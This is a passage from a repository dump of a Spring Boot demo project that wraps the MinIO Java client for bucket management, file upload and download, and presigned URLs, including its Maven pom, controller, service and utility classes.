以流的形式获取一个文件对象（断点下载）\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param offset     起始字节的位置\n     * @param length     要读取的长度 (可选，如果无值则代表读到文件结尾)\n     * @return\n     */\n    @SneakyThrows\n    public InputStream getObject(String bucketName, String objectName, long offset, Long length) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                InputStream stream = minioClient.getObject(bucketName, objectName, offset, length);\n                return stream;\n            }\n        }\n        return null;\n    }\n\n    /**\n     * 下载并将文件保存到本地\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param fileName   File name\n     * @return\n     */\n    @SneakyThrows\n    public boolean getObject(String bucketName, String objectName, String fileName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                minioClient.getObject(bucketName, objectName, fileName);\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * 删除一个对象\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     */\n    @SneakyThrows\n    public boolean removeObject(String bucketName, String objectName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            minioClient.removeObject(bucketName, objectName);\n            return true;\n        }\n        return false;\n    }\n\n    /**\n     * 删除指定桶的多个文件对象,返回删除错误的对象列表，全部删除成功，返回空列表\n     *\n     * @param bucketName  存储桶名称\n     * @param objectNames 含有要删除的多个object名称的迭代器对象\n     * @return\n     */\n    @SneakyThrows\n    public List<String> removeObject(String bucketName, List<String> objectNames) {\n        List<String> deleteErrorNames = new ArrayList<>();\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            Iterable<Result<DeleteError>> results = minioClient.removeObjects(bucketName, objectNames);\n            for (Result<DeleteError> result : results) {\n                DeleteError error = result.get();\n                deleteErrorNames.add(error.objectName());\n            }\n        }\n        return deleteErrorNames;\n    }\n\n    /**\n     * 生成一个给HTTP GET请求用的presigned URL。\n     * 浏览器/移动端的客户端可以用这个URL进行下载，即使其所在的存储桶是私有的。这个presigned URL可以设置一个失效时间，默认值是7天。\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param expires    失效时间（以秒为单位），默认是7天，不得大于七天\n     * @return\n     */\n    @SneakyThrows\n    public String presignedGetObject(String bucketName, String objectName, Integer expires) {\n        boolean flag = bucketExists(bucketName);\n        String url = \"\";\n        if (flag) {\n            if (expires < 1 || expires > DEFAULT_EXPIRY_TIME) {\n                throw new InvalidExpiresRangeException(expires,\n                        \"expires must be in range of 1 to \" + DEFAULT_EXPIRY_TIME);\n            }\n            url = minioClient.presignedGetObject(bucketName, objectName, expires);\n        }\n        return url;\n    }\n\n    /**\n     * 生成一个给HTTP PUT请求用的presigned URL。\n     * 浏览器/移动端的客户端可以用这个URL进行上传，即使其所在的存储桶是私有的。这个presigned URL可以设置一个失效时间，默认值是7天。\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param expires    失效时间（以秒为单位），默认是7天，不得大于七天\n     * @return\n     */\n    @SneakyThrows\n    public String presignedPutObject(String bucketName, String objectName, Integer expires) {\n        boolean flag = bucketExists(bucketName);\n        String url = \"\";\n        if (flag) {\n            if (expires < 1 || expires > DEFAULT_EXPIRY_TIME) {\n                throw new InvalidExpiresRangeException(expires,\n                        \"expires must be in range of 1 to \" + DEFAULT_EXPIRY_TIME);\n            }\n            url = minioClient.presignedPutObject(bucketName, objectName, expires);\n        }\n        return url;\n    }\n\n    /**\n     * 获取对象的元数据\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @return\n     */\n    @SneakyThrows\n    public ObjectStat statObject(String bucketName, String objectName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            ObjectStat statObject = minioClient.statObject(bucketName, objectName);\n            return statObject;\n        }\n        return null;\n    }\n\n    /**\n     * 文件访问路径\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @return\n     */\n    @SneakyThrows\n    public String getObjectUrl(String bucketName, String objectName) {\n        boolean flag = bucketExists(bucketName);\n        String url = \"\";\n        if (flag) {\n            url = minioClient.getObjectUrl(bucketName, objectName);\n        }\n        return url;\n    }\n\n\n\n    public void downloadFile(String bucketName, String fileName, String originalName, HttpServletResponse response) {\n        try {\n\n            InputStream file = minioClient.getObject(bucketName, fileName);\n            String filename = new String(fileName.getBytes(\"ISO8859-1\"), StandardCharsets.UTF_8);\n            if (StringUtils.isNotEmpty(originalName)) {\n                fileName = originalName;\n            }\n            response.setHeader(\"Content-Disposition\", \"attachment;filename=\" + filename);\n            ServletOutputStream servletOutputStream = response.getOutputStream();\n            int len;\n            byte[] buffer = new byte[1024];\n            while ((len = file.read(buffer)) > 0) {\n                servletOutputStream.write(buffer, 0, len);\n            }\n            servletOutputStream.flush();\n            file.close();\n            servletOutputStream.close();\n        } catch (ErrorResponseException e) {\n            e.printStackTrace();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n```\n如果此开源项目于你有帮助，麻烦点赞留言支持一下，谢谢\n\n[Gitee项目开源地址](https://gitee.com/VCS/min-io-springboot2.x)：https://gitee.com/VCS/min-io-springboot2.x"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.2.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    \n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_minio</artifactId>\n    <version>1.0</version>\n    \n    <description>MinIO 对象存储系统</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-devtools</artifactId>\n            <scope>runtime</scope>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>2.0.4</version>\n            <exclusions>\n                <exclusion>\n                    <artifactId>guava</artifactId>\n                    <groupId>com.google.guava</groupId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\n        <dependency>\n            <groupId>io.minio</groupId>\n            <artifactId>minio</artifactId>\n            <version>7.0.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n        </dependency>\n\n    </dependencies>\n\n    <!--aliyun repo-->\n    <repositories>\n        <repository>\n            <id>nexus-aliyun</id>\n            <name>Nexus aliyun</name>\n            <url>http://maven.aliyun.com/nexus/content/groups/public</url>\n        </repository>\n    </repositories>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/MinioApplication.java",
    "content": "package com.hope.minio;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n  * @className: MinioApplication\n  * @description: SpringBootApplication\n  */\n\n@SpringBootApplication\npublic class MinioApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(MinioApplication.class, args);\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/common/result/Result.java",
    "content": "package com.hope.minio.common.result;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\n\n/**\n * @PackageName: com.hope.minio.bean\n * @ClassName: Result\n * @Author Hope\n * @Date 2020/7/27 10:21\n * @Description: Result\n */\n@Data\npublic class Result<T> {\n\n    @ApiModelProperty(value = \"返回码\", name = \"返回码\")\n    private Integer code;\n\n    @ApiModelProperty(value = \"返回信息提示\", name = \"返回信息提示\")\n    private String message;\n\n    @JsonInclude(JsonInclude.Include.NON_NULL)\n    @ApiModelProperty(value = \"数据对象\", name = \"数据对象\")\n    private T data;\n\n    public Result(Integer code, String message) {\n        this.code = code;\n        this.message = message;\n    }\n\n\n    public Result(Integer code, String message, T data) {\n        this.code = code;\n        this.message = message;\n        this.data = data;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/common/result/ResultEnum.java",
    "content": "package com.hope.minio.common.result;\n\n/**\n * @PackageName: com.hope.minio.common.result\n * @ClassName: ResultEnum\n * @Author Hope\n * @Date 2020/7/27 10:24\n * @Description: ResultEnum\n */\npublic enum ResultEnum {\n    /**\n     * 访问成功返回\n     */\n    SUCCESS(200, \"success\"),\n\n    /**\n     * 数据不存在返回\n     */\n    NOT_FOUND(404, \"notFound [数据异常：数据不存在或者数据为空]\"),\n\n    /**\n     * 参数有异常返回\n     */\n    PARAMETER_ERROR(400, \"parameter[参数异常：参数为空或者参数类型不符]\"),\n\n    /**\n     * 权限验证失败\n     */\n    PERMISSIONS_ERROR(401, \"permissions[签名错误：权限验证失败，访问被拒]\"),\n\n    /**\n     * 异常返回\n     */\n    ERROR(500, \"[系统异常：服务内部错误]\"),\n\n    /**\n     * 参数有异常返回\n     */\n    DUPLICATE_ERROR(400, \"Duplicate[参数异常:重复输入]\"),\n\n    /**\n     * token生成异常\n     */\n    TOKENException(500, \"[token生成异常]\"),\n\n    /**\n     * 空指针异常\n     */\n    NullPointerException(500, \"系统异常：[空指针异常]\"),\n    /**\n     * 下标越界异常\n     */\n    ArrayIndexOutOfBoundsException(500, \"系统异常：[下标越界异常]\"),\n    /**\n     * 输入输出异常\n     */\n    IOException(500, \"系统异常：[IO文件上传异常]\"),\n    /**\n     * 操作数据库异常\n     */\n    SQLException(500, \"[数据保存异常，请检查后重试！]\"),\n    /**\n     * 类型强制转换异常\n     */\n    ClassCastException(500, \"系统异常：[类型强制转换异常]\"),\n    /**\n     * 文件未找到异常\n     */\n    FileNotFoundException(500, \"[文件未找到异常]\"),\n    /**\n     * 字符串转换为数字异常\n     */\n    EOFException(500, \"[字符串转换为数字异常]\"),\n    /**\n     * 文件已结束异常\n     */\n    NumberFormatException(500, \"[文件已结束异常]\"),\n    /**\n     * 方法未找到异常\n     */\n    NoSuchMethodException(500, \"[方法未找到异常]\"),\n    /**\n     * 参数类型匹配异常\n     */\n    MethodArgumentTypeMismatchException(500, \"[参数类型不匹配异常]\"),\n    /**\n     * 文件上传异常\n     */\n    MultipartException(500, \"系统异常：[文件上传异常]\"),\n\n    /**\n     * 操作数据库异常\n     */\n    SQLFilterException(500, \"系统异常：[SQL注入]异常\"),\n\n    NO_LOGIN(100, \"[未登录或登录已过期]\"),\n    CONFIG_ERROR(101, \"[参数配置表错误]\"),\n    USER_EXIST(102, \"[用户名已存在]\"),\n    USERPWD_NOT_EXIST(403, \"[用户名不存在或者密码错误]\"),\n    VIDEO_TRANSCODING(403, \"视频转码中...\");\n    private Integer code;\n\n    private String msg;\n\n    ResultEnum(Integer code, String msg) {\n        this.code = code;\n        this.msg = msg;\n    }\n\n    public Integer getCode() {\n        return code;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/common/result/ResultUtil.java",
    "content": "package com.hope.minio.common.result;\n\n/**\n * @PackageName: com.hope.minio.common.result\n * @ClassName: ResultUtil\n * @Author Hope\n * @Date 2020/7/27 11:15\n * @Description: ResultUtil\n */\npublic class ResultUtil {\n    /**\n     * 数据交互成功返回\n     *\n     * @param object json返回的数据\n     */\n    public static Result success(Object object) {\n        if (object == null) {\n            object = \"\";\n        }\n        return new Result(ResultEnum.SUCCESS.getCode(), ResultEnum.SUCCESS.getMsg(), object);\n    }\n\n    /**\n     * 数据交互成功返回\n     *\n     * @param object json返回的数据\n     */\n    public static Result success(String message, Object object) {\n        if (object == null) {\n            object = \"\";\n        }\n        return new Result(ResultEnum.SUCCESS.getCode(), message, object);\n    }\n\n\n    /**\n     * 数据交互成功返回\n     */\n    public static Result success() {\n        return new Result(ResultEnum.SUCCESS.getCode(), ResultEnum.SUCCESS.getMsg());\n    }\n\n    /**\n     * 数据交互成功返回\n     *\n     * @param message json返回的message\n     */\n    public static Result sendSuccessMessage(String message) {\n        return new Result(ResultEnum.SUCCESS.getCode(), message);\n    }\n\n    /**\n     * 数据交互失败返回\n     *\n     * @param message json返回的message\n     */\n    public static Result sendErrorMessage(String message) {\n        return new Result(ResultEnum.ERROR.getCode(), message);\n    }\n\n    /**\n     * 数据交互\n     */\n    public static Result notFound() {\n        return new Result(ResultEnum.NOT_FOUND.getCode(), ResultEnum.NOT_FOUND.getMsg());\n    }\n\n    /**\n     * 参数异常\n     */\n    public static Result parameterError() {\n        return new Result(ResultEnum.PARAMETER_ERROR.getCode(), ResultEnum.PARAMETER_ERROR.getMsg());\n    }\n\n    /**\n     * 权限异常\n     */\n    public static Result permissionsError() {\n        return new Result(ResultEnum.PERMISSIONS_ERROR.getCode(), ResultEnum.PERMISSIONS_ERROR.getMsg());\n    }\n\n    /**\n     * 参数异常\n     */\n    public static Result parameterError(String errorMsg) {\n        return new Result(ResultEnum.PARAMETER_ERROR.getCode(), errorMsg);\n    }\n\n    /**\n     * 系统异常\n     */\n    public static Result systemError() {\n        return new Result(ResultEnum.ERROR.getCode(), ResultEnum.ERROR.getMsg());\n    }\n\n\n    /**\n     * 权限异常\n     */\n    public static Result pwdError() {\n        return new Result(ResultEnum.USERPWD_NOT_EXIST.getCode(), ResultEnum.USERPWD_NOT_EXIST.getMsg());\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/config/MinioConfig.java",
    "content": "package com.hope.minio.config;\n\nimport io.minio.MinioClient;\nimport io.minio.errors.InvalidEndpointException;\nimport io.minio.errors.InvalidPortException;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.stereotype.Component;\n\n/**\n  * @className: MinioConfig\n  * @author Hope\n  * @date 2020/7/28 13:43 \n  * @description: MinioConfig\n  */\n\n@Data\n@Component\n@ConfigurationProperties(prefix = \"minio\")\npublic class MinioConfig {\n\n    @ApiModelProperty(\"endPoint是一个URL，域名，IPv4或者IPv6地址\")\n    private String endpoint;\n\n    @ApiModelProperty(\"TCP/IP端口号\")\n    private int port;\n\n    @ApiModelProperty(\"accessKey类似于用户ID，用于唯一标识你的账户\")\n    private String accessKey;\n\n    @ApiModelProperty(\"secretKey是你账户的密码\")\n    private String secretKey;\n\n    @ApiModelProperty(\"如果是true，则用的是https而不是http,默认值是true\")\n    private Boolean secure;\n\n    @ApiModelProperty(\"默认存储桶\")\n    private String bucketName;\n\n    @ApiModelProperty(\"配置目录\")\n    private String configDir;\n\n    @Bean\n    public MinioClient getMinioClient() throws InvalidEndpointException, InvalidPortException {\n        MinioClient minioClient = new MinioClient(endpoint, port, accessKey, secretKey, secure);\n        return minioClient;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/config/SwaggerConfiguration.java",
    "content": "package com.hope.minio.config;\n\nimport com.github.xiaoymin.knife4j.annotations.ApiOperationSupport;\nimport com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.service.Contact;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n/**\n * @author Hope\n * @className: SwaggerConfiguration\n * @date 2020/7/24 17:45\n * @description: SwaggerConfiguration\n */\n\n@Configuration\n@EnableSwagger2\n@EnableKnife4j\npublic class SwaggerConfiguration {\n\n    @Bean\n    public Docket createRestApi() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .apiInfo(apiInfo())\n                .groupName(\"MinIO 1.0\")\n                .select()\n                .apis(RequestHandlerSelectors.basePackage(\"com.hope.minio.controller\"))\n                .paths(PathSelectors.any())\n                .build();\n    }\n\n    private ApiInfo apiInfo() {\n        return new ApiInfoBuilder()\n                .title(\"MinIO 对象存储服务\")\n                .description(\"文件上传系统\")\n                .termsOfServiceUrl(\"https://docs.min.io/cn\")\n                .contact(new Contact(\"Hope\",\"https://8023.xin\",\"18310695431@163.com\"))\n                .version(\"1.0\")\n                .build();\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/controller/MinioController.java",
    "content": "package com.hope.minio.controller;\n\nimport com.hope.minio.common.result.Result;\nimport com.hope.minio.common.result.ResultUtil;\nimport com.hope.minio.config.MinioConfig;\nimport com.hope.minio.service.MinioService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport io.swagger.annotations.ApiOperation;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.util.MimeTypeUtils;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.InputStream;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.UUID;\n\n@RequestMapping(\"/minio\")\n@RestController\n@Api(tags = \"文件上传接口\")\npublic class MinioController {\n\n    @Autowired\n    private MinioService minioService;\n\n    @Autowired\n    private MinioConfig minioConfig;\n\n    @ApiOperation(value = \"使用minio文件上传\")\n    @PostMapping(\"/uploadFile\")\n    @ApiImplicitParams({\n            @ApiImplicitParam(dataType = \"MultipartFile\", name = \"file\", value = \"上传的文件\", required = true),\n            @ApiImplicitParam(dataType = \"String\", name = \"bucketName\", value = \"对象存储桶名称\", required = false)\n    })\n    public Result uploadFile(MultipartFile file, String bucketName) {\n        try {\n            bucketName = StringUtils.isNotBlank(bucketName) ? bucketName : minioConfig.getBucketName();\n            if (!minioService.bucketExists(bucketName)) {\n                minioService.makeBucket(bucketName);\n            }\n            String fileName = file.getOriginalFilename();\n            String objectName = new SimpleDateFormat(\"yyyy/MM/dd/\").format(new Date()) + UUID.randomUUID().toString().replaceAll(\"-\", \"\")\n                    + fileName.substring(fileName.lastIndexOf(\".\"));\n            minioService.putObject(bucketName, file, objectName);\n            return ResultUtil.success(minioService.getObjectUrl(bucketName, objectName));\n        } catch (Exception e) {\n            e.printStackTrace();\n            return ResultUtil.sendErrorMessage(\"上传失败\");\n        }\n    }\n    \n    public Result uploadIputSreamFile(MultipartFile file, String bucketName) {\n        try {\n            bucketName = StringUtils.isNotBlank(bucketName) ? bucketName : minioConfig.getBucketName();\n            if (!minioService.bucketExists(bucketName)) {\n                minioService.makeBucket(bucketName);\n            }\n            String fileName = file.getOriginalFilename();\n            String objectName = new SimpleDateFormat(\"yyyy/MM/dd/\").format(new Date()) + UUID.randomUUID().toString().replaceAll(\"-\", \"\")\n                    + fileName.substring(fileName.lastIndexOf(\".\"));\n\n            InputStream inputStream = file.getInputStream();\n            minioService.putObject(bucketName, objectName, inputStream, MimeTypeUtils.IMAGE_JPEG_VALUE);\n            inputStream.close();\n            return ResultUtil.success(minioService.getObjectUrl(bucketName, objectName));\n        } catch (Exception e) {\n            e.printStackTrace();\n            return ResultUtil.sendErrorMessage(\"上传失败\");\n        }\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/service/MinioService.java",
    "content": "package com.hope.minio.service;\n\nimport org.springframework.web.multipart.MultipartFile;\n\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.InputStream;\n\n/**\n * @PackageName: com.hope.minio.service\n * @ClassName: MinioService\n * @Author Hope\n * @Date 2020/7/27 9:58\n * @Description: MinioService\n */\npublic interface MinioService {\n\n\n    /**\n     * 判断 bucket是否存在\n     *\n     * @param bucketName\n     * @return\n     */\n    boolean bucketExists(String bucketName);\n\n    /**\n     * 创建 bucket\n     *\n     * @param bucketName\n     */\n    void makeBucket(String bucketName);\n\n    /**\n     * 文件上传\n     *\n     * @param bucketName\n     * @param objectName\n     * @param filename\n     */\n    void putObject(String bucketName, String objectName, String filename);\n\n    /**\n     * 文件上传\n     *\n     * @param bucketName\n     * @param objectName\n     * @param stream\n     */\n    void putObject(String bucketName, String objectName, InputStream stream, String contentType);\n\n    /**\n     * 文件上传\n     *\n     * @param bucketName\n     * @param multipartFile\n     */\n    void putObject(String bucketName, MultipartFile multipartFile, String filename);\n\n    /**\n     * 删除文件\n     * @param bucketName\n     * @param objectName\n     */\n    boolean removeObject(String bucketName,String objectName);\n\n    /**\n     * 下载文件\n     *\n     * @param fileName\n     * @param originalName\n     * @param response\n     */\n    void downloadFile(String bucketName, String fileName, String originalName, HttpServletResponse response);\n\n    /**\n     * 获取文件路径\n     * @param bucketName\n     * @param objectName\n     * @return\n     */\n    String getObjectUrl(String bucketName,String objectName);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/service/impl/MinioServiceImpl.java",
    "content": "package com.hope.minio.service.impl;\n\nimport com.hope.minio.service.MinioService;\nimport com.hope.minio.utils.MinioUtil;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.InputStream;\n\n/**\n * @PackageName: com.hope.minio.service.impl\n * @ClassName: MinioServiceImpl\n * @Author Hope\n * @Date 2020/7/27 9:59\n * @Description: MinioServiceImpl\n */\n@Service\npublic class MinioServiceImpl implements MinioService {\n\n    @Autowired\n    private MinioUtil minioUtil;\n\n    /**\n     * 判断 bucket是否存在\n     *\n     * @param bucketName\n     * @return\n     */\n    @Override\n    public boolean bucketExists(String bucketName) {\n        return minioUtil.bucketExists(bucketName);\n    }\n\n    /**\n     * 创建 bucket\n     *\n     * @param bucketName\n     */\n    @Override\n    public void makeBucket(String bucketName) {\n        minioUtil.makeBucket(bucketName);\n    }\n\n    /**\n     * 文件上传\n     *\n     * @param bucketName\n     * @param objectName\n     * @param filename\n     */\n    @Override\n    public void putObject(String bucketName, String objectName, String filename) {\n        minioUtil.putObject(bucketName, objectName, filename);\n    }\n\n\n    @Override\n    public void putObject(String bucketName, String objectName, InputStream stream, String contentType) {\n        minioUtil.putObject(bucketName, objectName, stream, contentType);\n    }\n\n    /**\n     * 文件上传\n     *\n     * @param bucketName\n     * @param multipartFile\n     */\n    @Override\n    public void putObject(String bucketName, MultipartFile multipartFile, String filename) {\n        minioUtil.putObject(bucketName, multipartFile, filename);\n    }\n\n    /**\n     * 删除文件\n     * @param bucketName\n     * @param objectName\n     */\n    @Override\n    public boolean removeObject(String bucketName,String objectName) {\n        return minioUtil.removeObject(bucketName,objectName);\n    }\n\n    /**\n     * 下载文件\n     *\n     * @param fileName\n     * @param originalName\n     * @param response\n     */\n    @Override\n    public void downloadFile(String bucketName, String fileName, String originalName, HttpServletResponse response) {\n        minioUtil.downloadFile(bucketName,fileName, originalName, response);\n    }\n\n    /**\n     * 获取文件路径\n     * @param bucketName\n     * @param objectName\n     * @return\n     */\n    @Override\n    public String getObjectUrl(String bucketName,String objectName) {\n        return minioUtil.getObjectUrl(bucketName,objectName);\n    }\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/java/com/hope/minio/utils/MinioUtil.java",
    "content": "package com.hope.minio.utils;\n\nimport java.io.InputStream;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport javax.servlet.ServletOutputStream;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport io.minio.MinioClient;\nimport io.minio.ObjectStat;\nimport io.minio.PutObjectOptions;\nimport io.minio.Result;\nimport io.minio.errors.ErrorResponseException;\nimport io.minio.errors.InvalidExpiresRangeException;\nimport io.minio.messages.Bucket;\nimport io.minio.messages.DeleteError;\nimport io.minio.messages.Item;\nimport lombok.SneakyThrows;\n\n/**\n * @PackageName: com.hope.minio.utils\n * @ClassName: MinioUtil\n * @Author Hope\n * @Date 2020/7/27 11:43\n * @Description: MinioUtil\n */\n@Component\npublic class MinioUtil {\n\n    @Autowired\n    private MinioClient minioClient;\n\n    private static final int DEFAULT_EXPIRY_TIME = 7 * 24 * 3600;\n\n    /**\n     * 检查存储桶是否存在\n     *\n     * @param bucketName 存储桶名称\n     * @return\n     */\n    @SneakyThrows\n    public boolean bucketExists(String bucketName) {\n        boolean flag = false;\n        flag = minioClient.bucketExists(bucketName);\n        if (flag) {\n            return true;\n        }\n        return false;\n    }\n\n    /**\n     * 创建存储桶\n     *\n     * @param bucketName 存储桶名称\n     */\n    @SneakyThrows\n    public boolean makeBucket(String bucketName) {\n        boolean flag = bucketExists(bucketName);\n        if (!flag) {\n            minioClient.makeBucket(bucketName);\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * 列出所有存储桶名称\n     *\n     * @return\n     */\n    @SneakyThrows\n    public List<String> listBucketNames() {\n        List<Bucket> bucketList = listBuckets();\n        List<String> bucketListName = new ArrayList<>();\n        for (Bucket bucket : bucketList) {\n            bucketListName.add(bucket.name());\n        }\n        return bucketListName;\n    }\n\n    /**\n     * 列出所有存储桶\n     *\n     * @return\n     */\n    @SneakyThrows\n    public List<Bucket> listBuckets() {\n        return minioClient.listBuckets();\n    }\n\n    /**\n     * 删除存储桶\n     *\n     * @param bucketName 存储桶名称\n     * @return\n     */\n    @SneakyThrows\n    public boolean removeBucket(String bucketName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            Iterable<Result<Item>> myObjects = listObjects(bucketName);\n            for (Result<Item> result : myObjects) {\n                Item item = result.get();\n                // 有对象文件，则删除失败\n                if (item.size() > 0) {\n                    return false;\n                }\n            }\n            // 删除存储桶，注意，只有存储桶为空时才能删除成功。\n            minioClient.removeBucket(bucketName);\n            flag = bucketExists(bucketName);\n            if (!flag) {\n                return true;\n            }\n\n        }\n        return false;\n    }\n\n    /**\n     * 列出存储桶中的所有对象名称\n     *\n     * @param bucketName 存储桶名称\n     * @return\n     */\n    @SneakyThrows\n    public List<String> listObjectNames(String bucketName) {\n        List<String> listObjectNames = new ArrayList<>();\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            Iterable<Result<Item>> myObjects = listObjects(bucketName);\n            for (Result<Item> result : myObjects) {\n                Item item = result.get();\n                listObjectNames.add(item.objectName());\n            }\n        }\n        return listObjectNames;\n    }\n\n    /**\n     * 列出存储桶中的所有对象\n     *\n     * @param bucketName 存储桶名称\n     * @return\n     */\n    @SneakyThrows\n    public Iterable<Result<Item>> listObjects(String bucketName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            return minioClient.listObjects(bucketName);\n        }\n        return null;\n    }\n\n    /**\n     * 通过文件上传到对象\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param fileName   File name\n     * @return\n     */\n    @SneakyThrows\n    public boolean putObject(String bucketName, String objectName, String fileName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            minioClient.putObject(bucketName, objectName, fileName, null);\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                return true;\n            }\n        }\n        return false;\n\n    }\n\n    /**\n     * 文件上传\n     *\n     * @param bucketName\n     * @param multipartFile\n     */\n    @SneakyThrows\n    public void putObject(String bucketName, MultipartFile multipartFile, String filename) {\n        PutObjectOptions putObjectOptions = new PutObjectOptions(multipartFile.getSize(), PutObjectOptions.MIN_MULTIPART_SIZE);\n        putObjectOptions.setContentType(multipartFile.getContentType());\n        minioClient.putObject(bucketName, filename, multipartFile.getInputStream(), putObjectOptions);\n    }\n\n\n    /**\n     * 通过InputStream上传对象\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param stream     要上传的流\n     * @param stream     要上传的文件类型 MimeTypeUtils.IMAGE_JPEG_VALUE\n     * @return\n     */\n    